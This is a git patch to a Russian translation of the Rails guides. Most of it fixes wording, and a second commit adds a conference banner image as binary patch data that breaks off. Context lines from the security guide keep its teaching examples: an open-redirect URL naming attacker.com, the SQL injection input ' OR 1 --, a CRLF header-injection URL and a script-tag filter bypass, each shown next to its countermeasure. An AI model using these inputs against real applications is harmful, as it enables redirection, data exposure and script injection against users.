`http://localhost:3000/blog`, статей не будет, поскольку таблица, созданная в приложении, отличается от той, что была создана в engine. Сходите, поиграйте с только что смонтированным engine. Он точно такой же, как когда он был только engine-ом. +Для запуска этих миграций в контексте приложения просто выполните `bin/rails db:migrate`. При входе в engine по адресу `http://localhost:3000/blog`, статей не будет, поскольку таблица, созданная в приложении, отличается от той, что была создана в engine. Сходите, поиграйте с только что смонтированным engine. Он точно такой же, как когда он был только engine. Если хотите выполнить миграции только от одного engine, можно определить `SCOPE`: @@ -628,7 +628,7 @@ end Следующим шагом нужно сделать настраиваемым для engine класс, представленный как `User` в приложении. Это потому, как объяснялось ранее, что этот класс не всегда будет `User`. Для этого у engine будет конфигурационная настройка по имени `author_class`, используемая для определения, какой класс представляет пользователей в приложении. -Для определения этой конфигурационной настройки следует использовать `mattr_accessor` в модуле `Blorgh`. Добавьте эту строку в `lib/blorgh.rb` внутри engine: +Для определения этой конфигурационной настройки следует использовать `mattr_accessor` в модуле `Blorgh`. Добавьте эту строчку в `lib/blorgh.rb` внутри engine: ```ruby mattr_accessor :author_class @@ -670,7 +670,7 @@ self.author = Blorgh.author_class.find_or_create_by(name: author_name) belongs_to :author, class_name: Blorgh.author_class.to_s ``` -Чтобы установить эту конфигурационную настройку в приложении, следует использовать инициализатор. При использовании инициализатора, конфигурация установится до того, как запустится приложение и вызовутся модели engine-а, которые могут зависеть от существования этих конфигурационных настроек. +Чтобы установить эту конфигурационную настройку в приложении, следует использовать инициализатор. При использовании инициализатора, конфигурация установится до того, как запустится приложение и вызовутся модели engine, которые могут зависеть от существования этих конфигурационных настроек. Создайте инициализатор `config/initializers/blorgh.rb` в приложении, в котором установлен engine `blorgh`, и поместите в него такое содержимое: @@ -735,9 +735,9 @@ module Blorgh end ``` -Это сообщит приложению, что вы все еще хотите выполнить запрос `GET` к экшну `index` этого контроллера, но вы хотите использовать тут маршрут engine-а, а не приложения. +Это сообщит приложению, что вы все еще хотите выполнить запрос `GET` к экшну `index` этого контроллера, но вы хотите использовать тут маршрут engine, а не приложения. -Это также позволит убедиться в тестах, что хелперы URL engine-а работают так, как ожидается. +Это также позволит убедиться в тестах, что хелперы URL engine работают так, как ожидается. Улучшение функционала engine ---------------------------- @@ -884,7 +884,7 @@ end ### Переопределение вьюх -Когда Rails ищет вьюху для рендеринга, он сперва смотрит в директорию `app/views` приложения. Если он не может найти там вьюху, он проверит директории `app/views` всех engine-ов, имеющих эту директорию. +Когда Rails ищет вьюху для рендеринга, он сперва смотрит в директорию `app/views` приложения. Если он не может найти там вьюху, он проверит директории `app/views` всех engine, имеющих эту директорию. Когда приложение хочет отрендерить вьюху для экшна `index` в `Blorgh::ArticlesController`, он сперва пытается найти путь `app/views/blorgh/articles/index.html.erb` внутри приложения. Если не сможет найти, то будет искать внутри engine. @@ -905,7 +905,7 @@ end ### (routes) Маршруты -По умолчанию маршруты в engine изолированы от приложения. Это выполняется с помощью вызова `isolate_namespace` в классе `Engine`. По сути это означает, что приложение и его engine-ы могут иметь одинаково названные маршруты, и не будет никакого конфликта. +По умолчанию маршруты в engine изолированы от приложения. Это выполняется с помощью вызова `isolate_namespace` в классе `Engine`. По сути это означает, что приложение и его engine могут иметь одинаково названные маршруты, и не будет никакого конфликта. Маршруты в engine отрисовываются в классе `Engine` в `config/routes.rb`, подобно: @@ -917,13 +917,13 @@ end Имея подобные изолированные маршруты, если захотите сослаться на часть engine из приложения, необходимо воспользоваться прокси методом маршрутов engine. Вызов обычных маршрутных методов, таких как `articles_path`, может привести в нежелательное место, если и приложение, и engine определяют такой хелпер. -Ссылка в следующем примере приведет на `articles_path` приложения, если шаблон был отрендерен из приложения, или на `articles_path` engine-а, если был отрендерен в engine: +Ссылка в следующем примере приведет на `articles_path` приложения, если шаблон был отрендерен из приложения, или на `articles_path` engine, если был отрендерен в engine: ```erb <%= link_to "Blog articles", articles_path %> ``` -Чтобы этот маршрут всегда использовал маршрутный метод хелпера `articles_path` engine-а, необходимо вызвать метод на маршрутном прокси методе, имеющем то же имя, что и engine. +Чтобы этот маршрут всегда использовал маршрутный метод хелпера `articles_path` engine, необходимо вызвать метод на маршрутном прокси методе, имеющем то же имя, что и engine. ```erb <%= link_to "Blog articles", blorgh.articles_path %> @@ -1039,7 +1039,7 @@ ActiveSupport.on_load(:active_record) { include MyActiveRecordHelper } ## Изменение кода для использования `on_load` хуков -Изменение кода, как правило, достаточно простое. Если у вас есть строка кода, которая ссылается на фреймворк Rails, такой как `ActiveRecord::Base`, вы можете обернуть этот код в хук `on_load`. +Изменение кода, как правило, достаточно простое. Если есть строчка кода, которая ссылается на фреймворк Rails, такой как `ActiveRecord::Base`, можно обернуть этот код в хук `on_load`. ### Пример 1 diff --git a/source/form_helpers.md b/source/form_helpers.md index 42b83500..c7be8606 100644 --- a/source/form_helpers.md +++ b/source/form_helpers.md @@ -26,7 +26,7 @@ NOTE: Это руководство не является подробной д <% end %> ``` -При подобном вызове без аргументов, он создает тег ``, который при отправке сформирует POST-запрос на текущую страницу. Например, предположим текущая страница `/home/index`, тогда сгенерированный HTML будет выглядеть следующим образом (некоторые разрывы строк добавлены для читаемости): +При подобном вызове без аргументов, он создает тег ``, который при отправке сформирует POST-запрос на текущую страницу. Например, предположим текущая страница `/home/index`, тогда сгенерированный HTML будет выглядеть следующим образом (некоторые разрывы строчек добавлены для читаемости): ```html @@ -467,7 +467,7 @@ WARNING: Когда отсутствует `:include_blank` или `:prompt`, `: <% end %> ``` -WARNING: При использовании `select` (или подобных хелперов, таких как `collection_select`, `select_tag`), чтобы установить связь `belongs_to`, необходимо передать имя внешнего ключа (в примере выше `city_id`), а не само имя связи. Если указать `city` вместо `city_id`, Active Record вызовет ошибку в строке `ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)`, когда будет передаваться хэш `params` в `Person.new` или `update`. Можно взглянуть на это по другому, что хелперы форм только редактируют атрибуты. Также стоит побеспокоиться о возможных последствиях безопасности, если разрешить пользователям редактировать внешние ключи напрямую. +WARNING: При использовании `select` (или подобных хелперов, таких как `collection_select`, `select_tag`), чтобы установить связь `belongs_to`, необходимо передать имя внешнего ключа (в примере выше `city_id`), а не само имя связи. Если указать `city` вместо `city_id`, Active Record вызовет ошибку в строчках `ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)`, когда будет передаваться хэш `params` в `Person.new` или `update`. Можно взглянуть на это по другому, что хелперы форм только редактируют атрибуты. Также стоит побеспокоиться о возможных последствиях безопасности, если разрешить пользователям редактировать внешние ключи напрямую. ### Теги варианта выбора из коллекции произвольных объектов diff --git a/source/getting_started.md b/source/getting_started.md index b8711c48..4d14fd33 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -143,7 +143,7 @@ $ bin/rails server TIP: Если вы используете Windows, вы должны передавать скрипты из папки `bin` непосредственно в интерпретатор Ruby, то есть `ruby bin\rails server`. -TIP: Компилирование CoffeeScript и сжатие ассетов JavaScript требует среды выполнения JavaScript в вашей системе, и его отсутствие приведет к ошибке `execjs` во время компиляции ассетов. Обычно macOS и Windows поставляются с установленной средой выполнения JavaScript. Rails добавляет гем `mini_racer` в генерируемый `Gemfile` нового приложения в закомментированной строке, если нужно, можете ее раскомментировать. `therubyrhino` - рекомендованная среда выполнения для пользователей JRuby, она добавляется в `Gemfile`, если приложение генерируется под JRuby. Можно узнать все о поддерживаемых средах выполнения в [ExecJS](https://github.com/rails/execjs#readme) +TIP: Компилирование CoffeeScript и сжатие ассетов JavaScript требует среды выполнения JavaScript в вашей системе, и его отсутствие приведет к ошибке `execjs` во время компиляции ассетов. Обычно macOS и Windows поставляются с установленной средой выполнения JavaScript. Rails добавляет гем `mini_racer` в генерируемый `Gemfile` нового приложения в закомментированной строчке, если нужно, можете ее раскомментировать. `therubyrhino` - рекомендованная среда выполнения для пользователей JRuby, она добавляется в `Gemfile`, если приложение генерируется под JRuby. Можно узнать все о поддерживаемых средах выполнения в [ExecJS](https://github.com/rails/execjs#readme) Это запустит Puma, веб-сервер, распространяющийся с Rails по умолчанию. Чтобы увидеть приложение в действии, откройте окно браузера и пройдите по адресу . Вы должны увидеть дефолтную информационную страницу Rails: @@ -189,7 +189,7 @@ create app/assets/stylesheets/welcome.scss Наиболее важными из них являются, разумеется, контроллер, расположенный в `app/controllers/welcome_controller.rb`, и вьюха, расположенная в `app/views/welcome/index.html.erb`. -Откройте файл `app/views/welcome/index.html.erb` в текстовом редакторе. Удалите весь существующий в файле код и замените его на следующую единственную строчку кода: +Откройте файл `app/views/welcome/index.html.erb` в текстовом редакторе. Удалите весь существующий в файле код и замените его на следующую строчку кода: ```html

    Hello, Rails!

    @@ -312,7 +312,7 @@ end Вы получили эту ошибку, поскольку Rails ожидает, что обычные экшны, такие как этот, имеют связанные с ними вьюхи для отображения их информации. Когда нет доступных вьюх, Rails вызовет исключение. -В вышеприведенном изображении конец строки был обрезан. Давайте посмотрим на полное сообщение об ошибке: +В вышеприведенном изображении конец строчки был обрезан. Давайте посмотрим на полное сообщение об ошибке: >ArticlesController#new is missing a template for this request format and variant. request.formats: ["text/html"] request.variant: [] NOTE! For XHR/Ajax or API requests, this action would normally respond with 204 No Content: an empty white screen. Since you're loading it in a web browser, we assume that you expected to actually render a template, not… nothing, so we're showing an error to be extra-clear. If you expect 204 No Content, carry on. That's what you'll get from an XHR or API request. Give it a shot. @@ -1139,7 +1139,7 @@ class Comment < ApplicationRecord end ``` -Это очень похоже на модель `Article`, которую мы видели ранее. Разница в строке `belongs_to :article`, которая устанавливает _связь_ Active Record. Вы ознакомитесь со связями в следующем разделе руководства. +Это очень похоже на модель `Article`, которую мы видели ранее. Разница в строчке `belongs_to :article`, которая устанавливает _связь_ Active Record. Вы ознакомитесь со связями в следующем разделе руководства. Ключевое слово (`:references`), использованное в команде bash, это специальный тип данных для моделей. Он создает новый столбец в вашей базе данных с именем представленной модели с добавленным `_id`, который может содержать числовые значения. Чтобы лучше понять, проанализируйте файл `db/schema.rb` после выполнения миграции. @@ -1160,7 +1160,7 @@ class CreateComments < ActiveRecord::Migration[5.0] end ``` -Строка `t.references` создает числовой столбец с именем `article_id`, индекс для него, и ограничение внешнего ключа, указывающего на столбец `id` таблицы `articles`. Далее запускаем миграцию: +Строчка `t.references` создает числовой столбец с именем `article_id`, индекс для него, и ограничение внешнего ключа, указывающего на столбец `id` таблицы `articles`. Далее запускаем миграцию: ```bash $ bin/rails db:migrate @@ -1182,7 +1182,7 @@ Rails достаточно сообразителен, чтобы запуска * Каждый комментарий принадлежит одной статье. * Одна статья может иметь много комментариев. -Фактически, это очень близко к синтаксису, который использует Rails для объявления этой связи. Вы уже видели строку кода в модели `Comment` (app/models/comment.rb), которая делает каждый комментарий принадлежащим статье: +Фактически, это очень близко к синтаксису, который использует Rails для объявления этой связи. Вы уже видели строчку кода в модели `Comment` (app/models/comment.rb), которая делает каждый комментарий принадлежащим статье: ```ruby class Comment < ApplicationRecord diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index b007b0d0..093d10b2 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -601,7 +601,7 @@ end ### Использование `redirect_to` -Другой способ управлять возвратом отклика на HTTP-запрос - с помощью `redirect_to`. Как вы видели, `render` сообщает Rails, какую вьюху (или иной ассет) использовать при построении отклика. Метод `redirect_to` делает нечто совершенно отличное: он говорит браузеру послать новый запрос по другому URL. Например, можно перенаправить из любого места, где сейчас выполняется код, к экшену index фотографий вашего приложения с помощью этого вызова: +Другой способ управлять возвратом отклика на HTTP-запрос - с помощью `redirect_to`. Как вы видели, `render` сообщает Rails, какую вьюху (или иной ассет) использовать при построении отклика. Метод `redirect_to` делает нечто совершенно отличное: он говорит браузеру послать новый запрос по другому URL. Например, можно перенаправить из любого места, где сейчас выполняется код, к экшну index фотографий вашего приложения с помощью этого вызова: ```ruby redirect_to photos_url diff --git a/source/rails_application_templates.md b/source/rails_application_templates.md index 03fe3cbd..d85e8932 100644 --- a/source/rails_application_templates.md +++ b/source/rails_application_templates.md @@ -96,9 +96,9 @@ end ### `environment/application(data=nil, options={}, &block)` -Добавляет строку внутрь класса `Application` в `config/application.rb`. +Добавляет строчку внутрь класса `Application` в `config/application.rb`. -Если указана `options[:env]`, строка добавляется в соответствующий файл в `config/environments`. +Если указана `options[:env]`, строчка добавляется в соответствующий файл в `config/environments`. ```ruby environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com/"}', env: 'production' diff --git a/source/routing.md b/source/routing.md index 81a618a8..d0f0c5a9 100644 --- a/source/routing.md +++ b/source/routing.md @@ -57,7 +57,7 @@ get '/patients/:id', to: 'patients#show', as: 'patient' Ресурсный роутинг ----------------- -Ресурсный роутинг позволяет быстро объявлять все общие маршруты для заданного ресурсного контроллера. Вместо объявления отдельных маршрутов для экшнов `index`, `show`, `new`, `edit`, `create`, `update` и `destroy`, ресурсный маршрут объявляет их одной строкой кода. +Ресурсный роутинг позволяет быстро объявлять все общие маршруты для заданного ресурсного контроллера. Вместо объявления отдельных маршрутов для экшнов `index`, `show`, `new`, `edit`, `create`, `update` и `destroy`, ресурсный маршрут объявляет их одной строчкой кода. ### Ресурсы в вебе @@ -99,7 +99,7 @@ resources :photos NOTE: Поскольку роутер использует как метод HTTP, так и URL, для сопоставления с входящими запросами, четыре URL соединяют с семью различными экшнами. -NOTE: Маршруты Rails сравниваются в том порядке, в котором они определены, поэтому, если имеется `resources :photos` до `get 'photos/poll'` маршрут для экшна `show` в строке `resources` совпадет до строки `get`. Чтобы это исправить, переместите строку `get` **выше** строки `resources`, чтобы она сравнивалась первой. +NOTE: Маршруты Rails сравниваются в том порядке, в котором они определены, поэтому, если имеется `resources :photos` до `get 'photos/poll'` маршрут для экшна `show` в строчке `resources` совпадет до строчки `get`. Чтобы это исправить, переместите строчку `get` **выше** строчки `resources`, чтобы она сравнивалась первой. ### Путь и хелперы URL @@ -1123,7 +1123,7 @@ $ bin/rails routes -c Comments $ bin/rails routes -c Articles::CommentsController ``` -TIP: Результат команды `rails routes` более читаемый, если у вас в окне терминала прокрутка, а не перенос строк. +TIP: Результат команды `rails routes` более читаемый, если у вас в окне терминала прокрутка, а не перенос строчек. ### Тестирование маршрутов diff --git a/source/security.md b/source/security.md index 778c40a0..007853fa 100644 --- a/source/security.md +++ b/source/security.md @@ -136,7 +136,7 @@ NOTE: _Кроме кражи ID сессии пользователя, злоу ### Фиксации сессии - контрмеры -TIP: _Одна строка кода защитит вас от фиксации сессии._ +TIP: _Одна строчка кода защитит вас от фиксации сессии._ Наиболее эффективная контрмера - это _создавать новый идентификатор сессии_ и объявлять старый невалидным после успешного входа. Тогда злоумышленник не сможет использовать подмененный идентификатор сессии. Это также хорошая контрмера против похищения сессии. Вот как создать новую сессию в Rails: @@ -166,7 +166,7 @@ class Session < ApplicationRecord end ``` -Раздел о фиксации сессии представил проблему поддержки сессий. Злоумышленник, поддерживающий сессию каждые пять минут, будет поддерживать срок жизни сессии вечно, хотя у сессии и есть срок действия. Простым решением для этого может быть добавление столбца `created_at` в таблицу sessions. Теперь можете удалять сессии, которые были созданы очень давно. Используйте эту строку в вышеупомянутом методе sweep: +Раздел о фиксации сессии представил проблему поддержки сессий. Злоумышленник, поддерживающий сессию каждые пять минут, будет поддерживать срок жизни сессии вечно, хотя у сессии и есть срок действия. Простым решением для этого может быть добавление столбца `created_at` в таблицу sessions. Теперь можете удалять сессии, которые были созданы очень давно. Используйте эту строчку в вышеупомянутом методе sweep: ```ruby delete_all "updated_at < '#{time.ago.to_s(:db)}' OR @@ -272,13 +272,13 @@ def legacy end ``` -Он перенаправит пользователя на экшен main, если тот попытается получить доступ к экшену legacy. Намерением было сохранить параметры URL к экшену legacy и передать их экшену main. Однако это может быть использовано злоумышленником, если он включит ключ host в URL: +Он перенаправит пользователя на экшн main, если тот попытается получить доступ к экшну legacy. Намерением было сохранить параметры URL к экшну legacy и передать их экшну main. Однако это может быть использовано злоумышленником, если он включит ключ host в URL: ``` http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com ``` -Этот URL в конце вряд ли будет замечен и перенаправит пользователя на хост attacker.com. Простой контрмерой будет являться _включение только ожидаемых параметров в экшен legacy_ (снова подход белого списка, в отличие от устранения нежелательных параметров). _И если вы перенаправляете на URL, сверьтесь с белым списком или регулярным выражением_. +Этот URL в конце вряд ли будет замечен и перенаправит пользователя на хост attacker.com. Простой контрмерой будет являться _включение только ожидаемых параметров в экшн legacy_ (снова подход белого списка, в отличие от устранения нежелательных параметров). _И если вы перенаправляете на URL, сверьтесь с белым списком или регулярным выражением_. #### Самодостаточный XSS @@ -524,7 +524,7 @@ http://hi.com validates :content, format: { with: /^Meanwhile$/, multiline: true } ``` -Отметьте, что это защищает вас только против наиболее распространенной ошибки при использовании валидатора формата - нужно всегда держать в уме, что ^ и $ соответствуют началу и концу **строчки** в Ruby, а не началу и концу строки. +Отметьте, что это защищает вас только против наиболее распространенной ошибки при использовании валидатора формата - нужно всегда держать в уме, что ^ и $ соответствуют началу и концу **строчки** в Ruby, а не началу и концу строчки. ### Расширение привилегий @@ -559,7 +559,7 @@ NOTE: _При экранировании, защите или верификац Черный список может быть перечнем плохих адресов e-mail, непубличных действий или плохих тегов HTML. Этому противопоставляется белый список хороших адресов e-mail, публичных действий, хороших тегов HTML и так далее. Хотя иногда невозможно создать белый список (в фильтре спама, например), _предпочтительнее использовать подходы белого списка_: -* Используйте `before_action except: [...]` вместо `only: [...]` для экшенов, связанных с безопасностью. Таким образом, вы не забудете включить проверки безопасности для вновь добавляемых экшенов. +* Используйте `before_action except: [...]` вместо `only: [...]` для экшнов, связанных с безопасностью. Таким образом, вы не забудете включить проверки безопасности для вновь добавляемых экшнов. * Разрешите <strong> вместо удаления <script> против кроссайтового скриптинга (XSS). Подробнее об этом ниже. * Не пытайтесь править пользовательские данные с помощью черных списков: * Это позволит сработать атаке: "<sc<script>ript>".gsub("<script>", "") @@ -579,7 +579,7 @@ INFO: _Благодаря умным методам, это вряд ли явл Project.where("name = '#{params[:name]}'") ``` -Это может быть экшен поиска и пользователь может ввести имя проекта, который он хочет найти. Если злонамеренный пользователь введет `' OR 1 --`, результирующим SQL запросом будет: +Это может быть экшн поиска и пользователь может ввести имя проекта, который он хочет найти. Если злонамеренный пользователь введет `' OR 1 --`, результирующим SQL запросом будет: ```sql SELECT * FROM projects WHERE name = '' OR 1 --' @@ -630,7 +630,7 @@ SELECT * FROM projects WHERE (name = '') UNION #### Контрмеры -В Ruby on Rails есть встроенный фильтр для специальных символов SQL, который экранирует ' , " , символ NULL и разрыв строки. *Использование `Model.find(id)` или `Model.find_by_some thing(something)` автоматически применяет эту контрмеру*. Но в фрагментах SQL, особенно *в фрагментах условий (`where("...")`), методах `connection.execute()` или `Model.find_by_sql()`, это должно быть применено вручную*. +В Ruby on Rails есть встроенный фильтр для специальных символов SQL, который экранирует ' , " , символ NULL и разрыв строчки. *Использование `Model.find(id)` или `Model.find_by_some thing(something)` автоматически применяет эту контрмеру*. Но в фрагментах SQL, особенно *в фрагментах условий (`where("...")`), методах `connection.execute()` или `Model.find_by_sql()`, это должно быть применено вручную*. Вместо передачи строки в опцию `conditions`, можете передать массив, чтобы экранировать испорченные строки, подобно этому: @@ -841,9 +841,9 @@ RedCloth.new("hello", [:filter_html]).to_html ### Ajax инъекции -NOTE: _Те же меры безопасности должны быть приняты для экшенов Ajax, что и для "нормальных". Однако, есть как минимум одно исключение: вывод экранируется уже в контроллере, если экшен не рендерит вьюху._ +NOTE: _Те же меры безопасности должны быть приняты для экшнов Ajax, что и для "нормальных". Однако, есть как минимум одно исключение: вывод экранируется уже в контроллере, если экшн не рендерит вьюху._ -Если используете [плагин in_place_editor](https://rubygems.org/gems/in_place_editing) или экшены, возвращающие строку, а не рендерите вьюху, _нужно экранировать возвращаемое значение в экшне_. В ином случае, если возвращаемое значение содержит строку с XSS, злонамеренный код выполнится по возвращению в браузер. Экранируйте каждое введенное значение с помощью метода `h()`. +Если используете [плагин in_place_editor](https://rubygems.org/gems/in_place_editing) или экшны, возвращающие строку, а не рендерите вьюху, _нужно экранировать возвращаемое значение в экшне_. В ином случае, если возвращаемое значение содержит строку с XSS, злонамеренный код выполнится по возвращению в браузер. Экранируйте каждое введенное значение с помощью метода `h()`. ### Инъекции командной строки @@ -883,7 +883,7 @@ http://www.yourapplication.com/controller/action?referer=http://www.malicious.tl http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:`http://www.malicious.tld ``` -Отметьте, что "%0d%0a" это URL-код для "\r\n", являющиеся возвратом каретки и новой строкой (CRLF) в Ruby. Таким образом, итоговым заголовком HTTP для второго примера будет следующее, поскольку второе поле заголовка Location перезаписывает первое. +Отметьте, что "%0d%0a" это URL-код для "\r\n", являющиеся возвратом каретки и новой строчкой (CRLF) в Ruby. Таким образом, итоговым заголовком HTTP для второго примера будет следующее, поскольку второе поле заголовка Location перезаписывает первое. ``` HTTP/1.1 302 Moved Temporarily diff --git a/source/testing.md b/source/testing.md index a7070a93..691ccd28 100644 --- a/source/testing.md +++ b/source/testing.md @@ -125,7 +125,7 @@ assert true * является ли это значение равным тому значению? * является ли этот объект `nil`? -* вызывает ли эта строка кода исключение? +* вызывает ли эта строчка кода исключение? * является ли пароль пользователя больше, чем 5 символов? Каждый тест должен содержать одно или более утверждений, без ограничений на их максимальное количество. Только когда все утверждения успешны, тест проходит. @@ -141,7 +141,7 @@ test "should not save article without title" do end ``` -Давайте запустим только что добавленный тест (где `6` - это номер строки, где определен тест). +Давайте запустим только что добавленный тест (где `6` - это номер строчки, где определен тест). ```bash $ bin/rails test test/models/article_test.rb:6 @@ -165,7 +165,7 @@ Finished in 0.023918s, 41.8090 runs/s, 41.8090 assertions/s. ``` -В результате `F` обозначает провал. Можете увидеть соответствующую трассировку под `Failure` вместе с именем провалившегося теста. Следующие несколько строк содержат трассировку стека, затем сообщение, где упомянуто фактическое значение и ожидаемое в утверждении значение. По умолчанию сообщение для утверждения предоставляет достаточно информации, чтобы помочь выявить ошибку. Чтобы сделать сообщение о провале для утверждения более читаемым, каждое утверждение предоставляет опциональный параметр для сообщения, как показано тут: +В результате `F` обозначает провал. Можете увидеть соответствующую трассировку под `Failure` вместе с именем провалившегося теста. Следующие несколько строчек содержат трассировку стека, затем сообщение, где упомянуто фактическое значение и ожидаемое в утверждении значение. По умолчанию сообщение для утверждения предоставляет достаточно информации, чтобы помочь выявить ошибку. Чтобы сделать сообщение о провале для утверждения более читаемым, каждое утверждение предоставляет опциональный параметр для сообщения, как показано тут: ```ruby test "should not save article without title" do @@ -471,7 +471,7 @@ steve: profession: guy with keyboard ``` -Каждой фикстуре дается имя со следующим за ним списком с отступом пар ключ/значение, разделенных двоеточием. Записи обычно разделяются пустой строкой. Можете помещать комментарии в файл фикстуры, используя символ # в первом столбце. +Каждой фикстуре дается имя со следующим за ним списком с отступом пар ключ/значение, разделенных двоеточием. Записи обычно разделяются пустой строчкой. Можете помещать комментарии в файл фикстуры, используя символ # в первом столбце. Если работаете со [связями](/active-record-associations), можно определить ссылку между двумя различными фикстурами. Вот пример для связи `belongs_to`/`has_many`: @@ -915,7 +915,7 @@ request.headers['Authorization'] = ActionController::HttpAuthentication::Basic. У всех типов запросов есть эквивалентные методы, которые можно использовать. В обычном приложении C.R.U.D. вы чаще будете использовать `get`, `post`, `put` и `delete`. -NOTE: Функциональные тесты не проверяют, поддерживается ли определенный тип запроса экшеном, мы больше беспокоимся о результате. Для этого случая существуют тесты запросов, чтобы сделать ваши тесты более целенаправленными. +NOTE: Функциональные тесты не проверяют, поддерживается ли определенный тип запроса экшном, мы больше беспокоимся о результате. Для этого случая существуют тесты запросов, чтобы сделать ваши тесты более целенаправленными. ### Тестирование запросов XHR (AJAX) @@ -1021,7 +1021,7 @@ ArticlesControllerTest#test_should_create_article [/test/controllers/articles_co 1 runs, 4 assertions, 1 failures, 0 errors, 0 skips ``` -Теперь давайте реализуем сообщение flash в нашем контроллере. Наш экшен `:create` теперь должен выглядеть так: +Теперь давайте реализуем сообщение flash в нашем контроллере. Наш экшн `:create` теперь должен выглядеть так: ```ruby def create @@ -1308,7 +1308,7 @@ end #### Простой тестовый случай -Вот юнит-тест для тестирования рассыльщика с именем `UserMailer`, экшен `invite` которого используется для рассылки приглашений друзьям. Это адаптированная версия исходного теста, созданного генератором для экшна `invite`. +Вот юнит-тест для тестирования рассыльщика с именем `UserMailer`, экшн `invite` которого используется для рассылки приглашений друзьям. Это адаптированная версия исходного теста, созданного генератором для экшна `invite`. ```ruby require 'test_helper' @@ -1347,7 +1347,7 @@ You have been invited. Cheers! ``` -Сейчас самое время понять немного больше о написании тестов для ваших рассыльщиков. Строка `ActionMailer::Base.delivery_method = :test` в `config/environments/test.rb` устанавливает метод доставки в тестовом режиме, таким образом, письмо не будет фактически доставлено (полезно во избежание спама для ваших пользователей во время тестирования), но вместо этого оно будет присоединено к массиву (`ActionMailer::Base.deliveries`). +Сейчас самое время понять немного больше о написании тестов для ваших рассыльщиков. Строчка `ActionMailer::Base.delivery_method = :test` в `config/environments/test.rb` устанавливает метод доставки в тестовом режиме, таким образом, письмо не будет фактически доставлено (полезно во избежание спама для ваших пользователей во время тестирования), но вместо этого оно будет присоединено к массиву (`ActionMailer::Base.deliveries`). NOTE: Массив `ActionMailer::Base.deliveries` перезагружается автоматически только в тестах `ActionMailer::TestCase` и `ActionDispatch::IntegrationTest`. Если необходим чистый массив вне этих тестовых случаев, его можно перезагрузить вручную с помощью `ActionMailer::Base.deliveries.clear` diff --git a/source/upgrading_ruby_on_rails.md b/source/upgrading_ruby_on_rails.md index c80bffe3..d0986a06 100644 --- a/source/upgrading_ruby_on_rails.md +++ b/source/upgrading_ruby_on_rails.md @@ -391,7 +391,7 @@ Record. В Rails 5.0 тестовые случаи будут по умолчанию запускаться в случайном порядке. В предвкушении этого изменения Rails 4.2 представил новую конфигурационную опцию `active_support.test_order` для явного указания упорядочивания тестов. Это позволит вам или заблокировать текущее поведение, установив этой опции `:sorted`, или переключиться на будущее поведение, установив этой опции `:random`. -Если не установить значение для этой опции, будет сформировано сообщение об устаревании. Чтобы его избежать, добавьте следующую строчку в своей тестовой среде: +Если не указать значение для этой опции, будет сформировано сообщение об устаревании. Чтобы этого избежать, добавьте следующую строчку в своей тестовой среде: ```ruby # config/environments/test.rb diff --git a/source/working_with_javascript_in_rails.md b/source/working_with_javascript_in_rails.md index 80fa8e64..9597ff18 100644 --- a/source/working_with_javascript_in_rails.md +++ b/source/working_with_javascript_in_rails.md @@ -193,7 +193,7 @@ $ -> ### Настройка remote элементов -Можно настроить поведение элементов с атрибутом `data-remote` без написания строк на JavaScript. Вы можете указать дополнительные `data-`атрибуты для достижения этой цели. +Можно настроить поведение элементов с атрибутом `data-remote` без написания строчек на JavaScript. Вы можете указать дополнительные `data-`атрибуты для достижения этой цели. #### `data-method` From 26a6e07f6b4fea41d2e38e254fcd7b394c48f523 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Wed, 4 Oct 2017 19:17:47 +0300 Subject: [PATCH 339/932] Spherecon 2017 banner --- app/assets/images/partners/spherecon2017.jpg | Bin 0 -> 105188 bytes app/views/layouts/application.html.haml | 6 +++--- app/views/static_docs/pages/show.html.haml | 6 +++--- 3 files changed, 6 insertions(+), 6 deletions(-) create mode 100644 app/assets/images/partners/spherecon2017.jpg diff --git a/app/assets/images/partners/spherecon2017.jpg b/app/assets/images/partners/spherecon2017.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d5266a431278beca38f591d173f4f9ece2e9c91f GIT binary patch literal 105188 zcmb@tc_5VE_Xj>j;hjh-WSL}{l&obplO-z4Bo(qu_7>S?8#6^&B12@zGL?{2L?Ox~ z%U~?o$uf4vKDOD%@6o%@=ll8n{rf$4+`02S_nvcJ=bq<2=bZc49@riO9k^t2(FC+> z7YK9#D4^|e(7E#=w>>~03k%Rm5D3Hz+7)vf#0|87E})~p9|*Mj@~1bJLK#q!}IW1vf<%ZSJXerx~Lqf_3t!# zb|#W{-1?lHtH{~alz`WljZ32_@>ez7QUib9?0S?d>N^2BujyWPE$Gejy2oqXCifpq znqK$#%=eGj(GvF|lz^lG3p0882SuEh>%9*g?4q#Pu&op#Fn%2L$(? z|3e9=WH*45Yd6=P-FtR(bI0rgbi{SwpfvX}RRiHYD#z8V4xQVpF5_%?*zd}jhnHoO zUm1Nm!sBw*dbLyTX07qKKSd1b~>B0#L49-vQ(1?y-X> zATa3u4yFfDj~@SvD<$>$ztD2u`~_E9_W3WqpLPF1*!>@f6O(^IuKgF~5XcBHwEu6% zHbCV68wFtW_HPhB*B|u>0mj8fED zY}L3hF`Z;u#J&IFSy(o^syvT~3A0IAcJvK@ZXZC$d|eyOn26APNk@(Fz$JmtHc0cP zm@Wd=x9$@#eMe(<19obZ3eI4{co_J|@d!BA!b%7FrdrKk6d&&vWKJVK(C}wAkS%Q@ z3$PT%HYg6&KaPs0lk(~C`I<{aeSM?W4HltmJwe%rz72ZI@R{K}Uk*p|FfnT)DHQe! zdVL$@xqex<#cI)Bniq^$N?JzyF-t~bhrswmy z&<-DnOgCl}ExAF;20Kq~4R>sy!SVF?EgWpqvz1-^p3ctcpWX^n2Alk!-a{~X9ZRD= z|8wT=y!b&$xS^1o=>O~b|C+E$gijQmvkfxDr*l$S-3!nkET83?0#?D|cdl8s{{N`@ zul%zJgIOeoQQU;IV+uAP8yE;;(08Z%A0&86ke=T+;IrUs8zQqf_!3TNL#kp;YI5<+ ze+|T1a-FjBfx?0;eN)bY8PPj3wn69VI3XsO*OJ$W7PR#9Wzd}{dC^W0ZP-iXN+B71 